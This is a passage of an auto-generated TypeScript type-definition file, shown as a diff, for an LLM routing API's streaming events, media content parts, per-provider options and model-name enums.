{"delta":"Analyzing","item_id":"item-1","output_index":0,"sequence_number":4,"summary_index":0,"type":"response.reasoning_summary_text.delta"} + */ +export type ReasoningSummaryTextDeltaEvent = + BaseReasoningSummaryTextDeltaEvent & object + +/** + * @description Event emitted when reasoning summary text streaming is complete + * @example {"item_id":"item-1","output_index":0,"sequence_number":6,"summary_index":0,"text":"Analyzing the problem step by step to find the optimal solution.","type":"response.reasoning_summary_text.done"} + */ +export type ReasoningSummaryTextDoneEvent = BaseReasoningSummaryTextDoneEvent & + object + +/** + * @description Event emitted when a refusal delta is streamed + * @example {"content_index":0,"delta":"I'm sorry","item_id":"item-1","output_index":0,"sequence_number":4,"type":"response.refusal.delta"} + */ +export type RefusalDeltaEvent = BaseRefusalDeltaEvent & object + +/** + * @description Event emitted when refusal streaming is complete + * @example {"content_index":0,"item_id":"item-1","output_index":0,"refusal":"I'm sorry, but I can't assist with that request.","sequence_number":6,"type":"response.refusal.done"} + */ +export type RefusalDoneEvent = BaseRefusalDoneEvent & object + +/** + * @description Event emitted when a response has completed successfully + * @example {"response":{"completed_at":null,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null},"sequence_number":10,"type":"response.completed"} + */ +export type StreamEventsResponseCompleted = CompletedEvent & { + /** + * @description Complete non-streaming response from the Responses API + * @example {"completed_at":1704067210,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[{"content":[{"annotations":[],"text":"Hello! How can I help you today?","type":"output_text"}],"id":"msg-abc123","role":"assistant","status":"completed","type":"message"}],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null,"usage":{"input_tokens":10,"input_tokens_details":{"cached_tokens":0},"output_tokens":25,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":35}} + */ + response?: OpenResponsesResult +} + +/** + * @description Event emitted when a response is incomplete + * @example {"response":{"completed_at":null,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"incomplete","temperature":null,"tool_choice":"auto","tools":[],"top_p":null},"sequence_number":5,"type":"response.incomplete"} + */ +export type StreamEventsResponseIncomplete = IncompleteEvent & { + /** + * @description Complete non-streaming response from the Responses API + * @example {"completed_at":1704067210,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[{"content":[{"annotations":[],"text":"Hello! How can I help you today?","type":"output_text"}],"id":"msg-abc123","role":"assistant","status":"completed","type":"message"}],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null,"usage":{"input_tokens":10,"input_tokens_details":{"cached_tokens":0},"output_tokens":25,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":35}} + */ + response?: OpenResponsesResult +} + +/** + * @description Event emitted when a response has failed + * @example {"response":{"completed_at":null,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"failed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null},"sequence_number":3,"type":"response.failed"} + */ +export type StreamEventsResponseFailed = FailedEvent & { + /** + * @description Complete non-streaming response from the Responses API + * @example {"completed_at":1704067210,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[{"content":[{"annotations":[],"text":"Hello! How can I help you today?","type":"output_text"}],"id":"msg-abc123","role":"assistant","status":"completed","type":"message"}],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null,"usage":{"input_tokens":10,"input_tokens_details":{"cached_tokens":0},"output_tokens":25,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":35}} + */ + response?: OpenResponsesResult +} + +/** + * @description Event emitted when a new output item is added to the response + * @example {"item":{"content":[],"id":"item-1","role":"assistant","status":"in_progress","type":"message"},"output_index":0,"sequence_number":2,"type":"response.output_item.added"} + */ +export type StreamEventsResponseOutputItemAdded = OutputItemAddedEvent & { + /** + * @description An output item from the response + * @example {"content":[{"text":"Hello! How can I help you today?","type":"output_text"}],"id":"msg-abc123","role":"assistant","status":"completed","type":"message"} + */ + item?: OutputItems +} + +/** + * @description Event emitted when an output item is complete + * @example {"item":{"content":[{"annotations":[],"text":"Hello! How can I help you?","type":"output_text"}],"id":"item-1","role":"assistant","status":"completed","type":"message"},"output_index":0,"sequence_number":8,"type":"response.output_item.done"} + */ +export type StreamEventsResponseOutputItemDone = OutputItemDoneEvent & { + /** + * @description An output item from the response + * @example {"content":[{"text":"Hello! How can I help you today?","type":"output_text"}],"id":"msg-abc123","role":"assistant","status":"completed","type":"message"} + */ + item?: OutputItems +} + +/** + * @description Alternative token with its log probability + * @example {"bytes":[72,101,108,108,111],"logprob":-0.5,"token":"Hello"} + */ +export type StreamLogprobTopLogprob = OpenResponsesTopLogprobs & object + +/** + * @description Log probability information for a token + * @example {"bytes":[72,101,108,108,111],"logprob":-0.5,"token":"Hello","top_logprobs":[]} + */ +export type StreamLogprob = OpenResponsesLogProbs & { + top_logprobs?: StreamLogprobTopLogprob[] +} + +/** + * @description Event emitted when a text delta is streamed + * @example {"content_index":0,"delta":"Hello","item_id":"item-1","logprobs":[],"output_index":0,"sequence_number":4,"type":"response.output_text.delta"} + */ +export type TextDeltaEvent = BaseTextDeltaEvent & { + logprobs?: StreamLogprob[] +} + +/** + * @description Event emitted when text streaming is complete + * @example {"content_index":0,"item_id":"item-1","logprobs":[],"output_index":0,"sequence_number":6,"text":"Hello! How can I help you?","type":"response.output_text.done"} + */ +export type TextDoneEvent = BaseTextDoneEvent & { + logprobs?: StreamLogprob[] +} + +/** + * @description Web search call in progress + * @example {"item_id":"ws-123","output_index":0,"sequence_number":1,"type":"response.web_search_call.in_progress"} + */ +export type WebSearchCallInProgressEvent = + OpenAIResponsesWebSearchCallInProgress & object + +/** + * @description Web search call is searching + * @example {"item_id":"ws-123","output_index":0,"sequence_number":2,"type":"response.web_search_call.searching"} + */ +export type WebSearchCallSearchingEvent = + OpenAIResponsesWebSearchCallSearching & object + +/** + * @description Web search call completed + * @example {"item_id":"ws-123","output_index":0,"sequence_number":3,"type":"response.web_search_call.completed"} + */ +export type WebSearchCallCompletedEvent = OpenAIResponsesSearchCompleted & + object + +/** + * @description Union of all possible event types emitted during response streaming + * @example {"response":{"completed_at":null,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"in_progress","temperature":null,"tool_choice":"auto","tools":[],"top_p":null},"sequence_number":0,"type":"response.created"} + */ +export type StreamEvents = + | (OpenResponsesCreatedEvent & { + type: 'response.created' + }) + | (OpenResponsesInProgressEvent & { + type: 'response.in_progress' + }) + | (StreamEventsResponseCompleted & { + type: 'response.completed' + }) + | (StreamEventsResponseIncomplete & { + type: 'response.incomplete' + }) + | (StreamEventsResponseFailed & { + type: 'response.failed' + }) + | (ErrorEvent & { + type: 'error' + }) + | (StreamEventsResponseOutputItemAdded & { + type: 'response.output_item.added' + }) + | (StreamEventsResponseOutputItemDone & { + type: 'response.output_item.done' + }) + | (ContentPartAddedEvent & { + type: 'response.content_part.added' + }) + | (ContentPartDoneEvent & { + type: 'response.content_part.done' + }) + | (TextDeltaEvent & { + type: 'response.output_text.delta' + }) + | (TextDoneEvent & { + type: 'response.output_text.done' + }) + | (RefusalDeltaEvent & { + type: 'response.refusal.delta' + }) + | (RefusalDoneEvent & { + type: 'response.refusal.done' + }) + | (AnnotationAddedEvent & { + type: 'response.output_text.annotation.added' + }) + | (FunctionCallArgsDeltaEvent & { + type: 'response.function_call_arguments.delta' + }) + | (FunctionCallArgsDoneEvent & { + type: 'response.function_call_arguments.done' + }) + | (ReasoningDeltaEvent & { + type: 'response.reasoning_text.delta' + }) + | (ReasoningDoneEvent & { + type: 'response.reasoning_text.done' + }) + | (ReasoningSummaryPartAddedEvent & { + type: 'response.reasoning_summary_part.added' + }) + | (ReasoningSummaryPartDoneEvent & { + type: 'response.reasoning_summary_part.done' + }) + | (ReasoningSummaryTextDeltaEvent & { + type: 'response.reasoning_summary_text.delta' + }) + | (ReasoningSummaryTextDoneEvent & { + type: 'response.reasoning_summary_text.done' + }) + | (ImageGenCallInProgressEvent & { + type: 'response.image_generation_call.in_progress' + }) + | (ImageGenCallGeneratingEvent & { + type: 'response.image_generation_call.generating' + }) + | (ImageGenCallPartialImageEvent & { + type: 'response.image_generation_call.partial_image' + }) + | (ImageGenCallCompletedEvent & { + type: 'response.image_generation_call.completed' + }) + | (CodeInterpreterCallInProgressEvent & { + type: 'response.code_interpreter_call.in_progress' + }) + | (CodeInterpreterCallInterpretingEvent & { + type: 'response.code_interpreter_call.interpreting' + }) + | (CodeInterpreterCallCompletedEvent & { + type: 'response.code_interpreter_call.completed' + }) + | (CodeInterpreterCallCodeDeltaEvent & { + type: 'response.code_interpreter_call_code.delta' + }) + | (CodeInterpreterCallCodeDoneEvent & { + type: 'response.code_interpreter_call_code.done' + }) + | (WebSearchCallInProgressEvent & { + type: 'response.web_search_call.in_progress' + }) + | (WebSearchCallSearchingEvent & { + type: 'response.web_search_call.searching' + }) + | (WebSearchCallCompletedEvent & { + type: 'response.web_search_call.completed' + }) + | (CustomToolCallInputDeltaEvent & { + type: 'response.custom_tool_call_input.delta' + }) + | (CustomToolCallInputDoneEvent & { + type: 'response.custom_tool_call_input.done' + }) + | (ApplyPatchCallOperationDiffDeltaEvent & { + type: 'response.apply_patch_call_operation_diff.delta' + }) + | (ApplyPatchCallOperationDiffDoneEvent & { + type: 'response.apply_patch_call_operation_diff.done' + }) + | (FusionCallInProgressEvent & { + type: 'response.fusion_call.in_progress' + }) + | (FusionCallPanelAddedEvent & { + type: 'response.fusion_call.panel.added' + }) + | (FusionCallPanelDeltaEvent & { + type: 'response.fusion_call.panel.delta' + }) + | (FusionCallPanelReasoningDeltaEvent & { + type: 'response.fusion_call.panel.reasoning.delta' + }) + | (FusionCallPanelCompletedEvent & { + type: 'response.fusion_call.panel.completed' + }) + | (FusionCallPanelFailedEvent & { + type: 'response.fusion_call.panel.failed' + }) + | (FusionCallAnalysisInProgressEvent & { + type: 'response.fusion_call.analysis.in_progress' + }) + | (FusionCallAnalysisCompletedEvent & { + type: 'response.fusion_call.analysis.completed' + }) + | (FusionCallCompletedEvent & { + type: 'response.fusion_call.completed' + }) + | (McpListToolsInProgressEvent & { + type: 'response.mcp_list_tools.in_progress' + }) + | (McpListToolsCompletedEvent & { + type: 'response.mcp_list_tools.completed' + }) + | (McpListToolsFailedEvent & { + type: 'response.mcp_list_tools.failed' + }) + | (McpCallInProgressEvent & { + type: 'response.mcp_call.in_progress' + }) + | (McpCallArgumentsDeltaEvent & { + type: 'response.mcp_call_arguments.delta' + }) + | (McpCallArgumentsDoneEvent & { + type: 'response.mcp_call_arguments.done' + }) + | (McpCallCompletedEvent & { + type: 'response.mcp_call.completed' + }) + | (McpCallFailedEvent & { + type: 'response.mcp_call.failed' + }) + | (DebugEvent & { + type: 'response.debug' + }) + +/** + * @example {"audio_url":{"url":"https://example.com/audio.mp3"},"type":"audio_url"} + * @type object + */ +export type ContentPartAudio = { + audio_url: { + url: string + } + type: 'audio_url' +} + +/** + * @example {"image_url":{"url":"https://example.com/image.png"},"type":"image_url"} + * @type object + */ +export type ContentPartImage = { + image_url: { + url: string + } + type: 'image_url' +} + +/** + * @example {"type":"video_url","video_url":{"url":"https://example.com/clip.mp4"}} + * @type object + */ +export type ContentPartVideo = { + type: 'video_url' + video_url: { + url: string + } +} + +export const frameImageFrameTypeEnum = { + first_frame: 'first_frame', + last_frame: 'last_frame', +} as const + +export type FrameImageFrameTypeEnumKey = + (typeof frameImageFrameTypeEnum)[keyof typeof frameImageFrameTypeEnum] + +/** + * @example {"frame_type":"first_frame","image_url":{"url":"https://example.com/image.png"},"type":"image_url"} + */ +export type FrameImage = ContentPartImage & { + /** + * @description Whether this image represents the first or last frame of the video + * @example first_frame + * @type string + */ + frame_type: FrameImageFrameTypeEnumKey +} + +/** + * @description A reference asset used to guide video generation. Image references are supported by all providers; audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer). + * @example {"image_url":{"url":"https://example.com/image.png"},"type":"image_url"} + */ +export type InputReference = + | (ContentPartImage & { + type: 'image_url' + }) + | (ContentPartAudio & { + type: 'audio_url' + }) + | (ContentPartVideo & { + type: 'video_url' + }) + +/** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object + */ +export type VideoGenerationUsage = { + /** + * @description The cost of the video generation in USD. + * + * Format: `double` + * @type number | undefined + */ + cost?: number | null + /** + * @description Whether the request was made using a Bring Your Own Key configuration. + * @type boolean | undefined + */ + is_byok?: boolean +} + +/** + * @description Provider-specific options keyed by provider slug. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"openai":{"max_tokens":1000}} + * @type object + */ +export type ProviderOptions31C18Ad6 = { + '01ai'?: { + [key: string]: unknown + } + ai21?: { + [key: string]: unknown + } + 'aion-labs'?: { + [key: string]: unknown + } + akashml?: { + [key: string]: unknown + } + alibaba?: { + [key: string]: unknown + } + 'amazon-bedrock'?: { + [key: string]: unknown + } + 'amazon-bedrock/claude-on-aws'?: { + [key: string]: unknown + } + 'amazon-nova'?: { + [key: string]: unknown + } + ambient?: { + [key: string]: unknown + } + anthropic?: { + [key: string]: unknown + } + 'anthropic/2'?: { + [key: string]: unknown + } + anyscale?: { + [key: string]: unknown + } + 'arcee-ai'?: { + [key: string]: unknown + } + assemblyai?: { + [key: string]: unknown + } + 'atlas-cloud'?: { + [key: string]: unknown + } + atoma?: { + [key: string]: unknown + } + avian?: { + [key: string]: unknown + } + azure?: { + [key: string]: unknown + } + baidu?: { + [key: string]: unknown + } + baseten?: { + [key: string]: unknown + } + 'black-forest-labs'?: { + [key: string]: unknown + } + byteplus?: { + [key: string]: unknown + } + centml?: { + [key: string]: unknown + } + cerebras?: { + [key: string]: unknown + } + chutes?: { + [key: string]: unknown + } + cirrascale?: { + [key: string]: unknown + } + clarifai?: { + [key: string]: unknown + } + 'claude-on-aws'?: { + [key: string]: unknown + } + cloudflare?: { + [key: string]: unknown + } + cohere?: { + [key: string]: unknown + } + coreweave?: { + [key: string]: unknown + } + cosine?: { + [key: string]: unknown + } + crofai?: { + [key: string]: unknown + } + crucible?: { + [key: string]: unknown + } + crusoe?: { + [key: string]: unknown + } + darkbloom?: { + [key: string]: unknown + } + databricks?: { + [key: string]: unknown + } + decart?: { + [key: string]: unknown + } + deepgram?: { + [key: string]: unknown + } + deepinfra?: { + [key: string]: unknown + } + deepseek?: { + [key: string]: unknown + } + dekallm?: { + [key: string]: unknown + } + digitalocean?: { + [key: string]: unknown + } + elevenlabs?: { + [key: string]: unknown + } + enfer?: { + [key: string]: unknown + } + 'fake-provider'?: { + [key: string]: unknown + } + featherless?: { + [key: string]: unknown + } + fireworks?: { + [key: string]: unknown + } + 'fish-audio'?: { + [key: string]: unknown + } + friendli?: { + [key: string]: unknown + } + gmicloud?: { + [key: string]: unknown + } + 'google-ai-studio'?: { + [key: string]: unknown + } + 'google-vertex'?: { + [key: string]: unknown + } + gopomelo?: { + [key: string]: unknown + } + groq?: { + [key: string]: unknown + } + heygen?: { + [key: string]: unknown + } + huggingface?: { + [key: string]: unknown + } + hyperbolic?: { + [key: string]: unknown + } + 'hyperbolic-quantized'?: { + [key: string]: unknown + } + inception?: { + [key: string]: unknown + } + inceptron?: { + [key: string]: unknown + } + 'inferact-vllm'?: { + [key: string]: unknown + } + 'inference-net'?: { + [key: string]: unknown + } + infermatic?: { + [key: string]: unknown + } + inflection?: { + [key: string]: unknown + } + inocloud?: { + [key: string]: unknown + } + 'io-net'?: { + [key: string]: unknown + } + ionstream?: { + [key: string]: unknown + } + klusterai?: { + [key: string]: unknown + } + krea?: { + [key: string]: unknown + } + lambda?: { + [key: string]: unknown + } + lepton?: { + [key: string]: unknown + } + liquid?: { + [key: string]: unknown + } + lynn?: { + [key: string]: unknown + } + 'lynn-private'?: { + [key: string]: unknown + } + makora?: { + [key: string]: unknown + } + mancer?: { + [key: string]: unknown + } + 'mancer-old'?: { + [key: string]: unknown + } + mara?: { + [key: string]: unknown + } + meta?: { + [key: string]: unknown + } + minimax?: { + [key: string]: unknown + } + mistral?: { + [key: string]: unknown + } + modal?: { + [key: string]: unknown + } + modelrun?: { + [key: string]: unknown + } + modular?: { + [key: string]: unknown + } + moonshotai?: { + [key: string]: unknown + } + morph?: { + [key: string]: unknown + } + ncompass?: { + [key: string]: unknown + } + 'near-ai'?: { + [key: string]: unknown + } + nebius?: { + [key: string]: unknown + } + 'nex-agi'?: { + [key: string]: unknown + } + nextbit?: { + [key: string]: unknown + } + nineteen?: { + [key: string]: unknown + } + novita?: { + [key: string]: unknown + } + nvidia?: { + [key: string]: unknown + } + octoai?: { + [key: string]: unknown + } + ollama?: { + [key: string]: unknown + } + 'open-inference'?: { + [key: string]: unknown + } + openai?: { + [key: string]: unknown + } + parasail?: { + [key: string]: unknown + } + perceptron?: { + [key: string]: unknown + } + perplexity?: { + [key: string]: unknown + } + phala?: { + [key: string]: unknown + } + poolside?: { + [key: string]: unknown + } + primeintellect?: { + [key: string]: unknown + } + quiver?: { + [key: string]: unknown + } + recraft?: { + [key: string]: unknown + } + recursal?: { + [key: string]: unknown + } + reflection?: { + [key: string]: unknown + } + reka?: { + [key: string]: unknown + } + relace?: { + [key: string]: unknown + } + replicate?: { + [key: string]: unknown + } + respan?: { + [key: string]: unknown + } + runway?: { + [key: string]: unknown + } + 'sail-research'?: { + [key: string]: unknown + } + sakana?: { + [key: string]: unknown + } + 'sakana-ai'?: { + [key: string]: unknown + } + sambanova?: { + [key: string]: unknown + } + 'sambanova-cloaked'?: { + [key: string]: unknown + } + scaledown?: { + [key: string]: unknown + } + seed?: { + [key: string]: unknown + } + 'sf-compute'?: { + [key: string]: unknown + } + siliconflow?: { + [key: string]: unknown + } + sourceful?: { + [key: string]: unknown + } + stealth?: { + [key: string]: unknown + } + stepfun?: { + [key: string]: unknown + } + streamlake?: { + [key: string]: unknown + } + switchpoint?: { + [key: string]: unknown + } + targon?: { + [key: string]: unknown + } + tencent?: { + [key: string]: unknown + } + tenstorrent?: { + [key: string]: unknown + } + thinkingmachines?: { + [key: string]: unknown + } + together?: { + [key: string]: unknown + } + 'together-lite'?: { + [key: string]: unknown + } + typesafe?: { + [key: string]: unknown + } + ubicloud?: { + [key: string]: unknown + } + unbiased?: { + [key: string]: unknown + } + upstage?: { + [key: string]: unknown + } + venice?: { + [key: string]: unknown + } + voyageai?: { + [key: string]: unknown + } + wafer?: { + [key: string]: unknown + } + wandb?: { + [key: string]: unknown + } + 'wandb-legacy'?: { + [key: string]: unknown + } + xai?: { + [key: string]: unknown + } + xiaomi?: { + [key: string]: unknown + } + 'z-ai'?: { + [key: string]: unknown + } +} + +/** + * @description + * Format: `binary` + * @type string + */ +export type OpenrouterPostAudioSpeechStatus200 = Blob + +export const openrouterPostAudioSpeechRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 